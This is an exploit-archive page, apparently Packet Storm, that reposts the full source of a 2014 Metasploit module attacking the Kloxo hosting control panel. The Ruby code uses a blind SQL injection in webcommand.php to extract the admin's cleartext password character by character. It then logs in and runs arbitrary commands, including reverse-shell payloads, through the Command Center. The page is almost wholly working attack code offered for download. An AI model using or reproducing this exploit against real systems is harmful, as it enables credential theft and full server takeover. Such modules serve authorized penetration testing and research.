Exploit the possiblities

Kloxo SQL Injection / Remote Code Execution

Kloxo SQL Injection / Remote Code Execution
Posted Feb 11, 2014
Authored by juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as exploited in the wild on January 2014. The SQL injection issue can be abused in order to retrieve the Kloxo admin cleartext password from the database. With admin access to the web control panel, remote PHP code execution can be achieved by abusing the Command Center function. The module tries to find the first server in the tree view, unless the server information is provided, in which case it executes the payload there.

tags | exploit, remote, web, php, code execution, sql injection
MD5 | b35df27b598be9165f22354d99c4bb07

Kloxo SQL Injection / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

Rank = ManualRanking
PASSWORD_PREFIX = '__lxen:'
BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='

attr_accessor :password
attr_accessor :session
attr_accessor :server

def initialize(info = {})
super(update_info(info,
'Name' => 'Kloxo SQL Injection and Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
exploited in the wild on January 2014. The SQL injection issue can be abused in order to
retrieve the Kloxo admin cleartext password from the database. With admin access to the
web control panel, remote PHP code execution can be achieved by abusing the Command Center
function. The module tries to find the first server in the tree view, unless the server
information is provided, in which case it executes the payload there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Discovery, exploit in the wild
'juan vazquez' # Metasploit Module
],
'References' =>
[
['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
}
},
'Targets' =>
[
['Kloxo / CentOS', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 28 2014',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(7778),
OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
], self.class)

register_advanced_options(
[
OptString.new('SERVER_CLASS', [false, 'The server class']),
OptString.new('SERVER_NAME', [false, 'The server name'])
], self.class)
end

def check
return Exploit::CheckCode::Safe unless webcommand_exists?
return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
return Exploit::CheckCode::Safe unless pefix_found?

Exploit::CheckCode::Vulnerable
end

def exploit
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable

print_status("#{peer} - Recovering the admin password with SQLi...")
loot = base64_password
fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
@password = Rex::Text.decode_base64(loot)
print_good("#{peer} - Password recovered: #{@password}")

print_status("#{peer} - Logging into the Control Panel...")
@session = send_login
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?

report_auth_info(
:host => rhost,
:port => rport,
:user => 'admin',
:pass => @password,
:type => 'password',
:sname => (ssl ? 'https' : 'http')
)

print_status("#{peer} - Retrieving the server name...")
@server = server_info
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?

print_status("#{peer} - Exploiting...")
send_command(payload.encoded)
end

def send_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
'vars_post' =>
{
'frm_clientname' => 'admin',
'frm_password' => @password,
'login' => 'Login'
}
)

if res && res.code == 302 && res.headers.include?('Set-Cookie')
return res.get_cookies
end

nil
end

def server_info

unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, 'display.php'),
'cookie' => @session,
'vars_get' =>
{
'frm_action' => 'show'
}
})

if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
return parse_display_info(res.body.to_s)
end

nil
end

def parse_display_info(html)
server_info = {}
pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)

if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
return nil
else
server_info[:class] = $1
end

if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
return nil
else
server_info[:name] = $1
end

server_info
end

def send_command(command)
data = Rex::MIME::Message.new
data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')

post_data = data.to_s
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @session,
'data' => post_data
}, 1)
end

def webcommand_exists?
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))

if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
return true
end

false
end

def pefix_found?
i = 1
PASSWORD_PREFIX.each_char do |c|
return false unless exploit_sqli(i, c)
i = i + 1
end

true
end

def bad_char(pos)
Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
end

def ascii(char)
char.unpack('C')[0]
end

def base64_password
i = PASSWORD_PREFIX.length + 1
loot = ''

until exploit_sqli(i, "\x00")
vprint_status("#{peer} - Bruteforcing position #{i}")
c = brute_force_char(i)
if c.nil?
return nil
else
loot << c
end
vprint_status("#{peer} - Found: #{loot}")
i = i + 1
end

loot
end

def brute_force_char(pos)
BASE64_RANGE.each_char do |c|
return c if exploit_sqli(pos, c)
end

nil
end

def exploit_sqli(pos, char)
# $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
sqli = "al5i' "
sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
'vars_get' =>
{
'login-class' => 'client',
'login-name' => sqli,
'login-password' => '123456'
}
)

if res && res.code == 200 && res.body.blank?
return true
elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
return false
end

vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
false
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    8 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close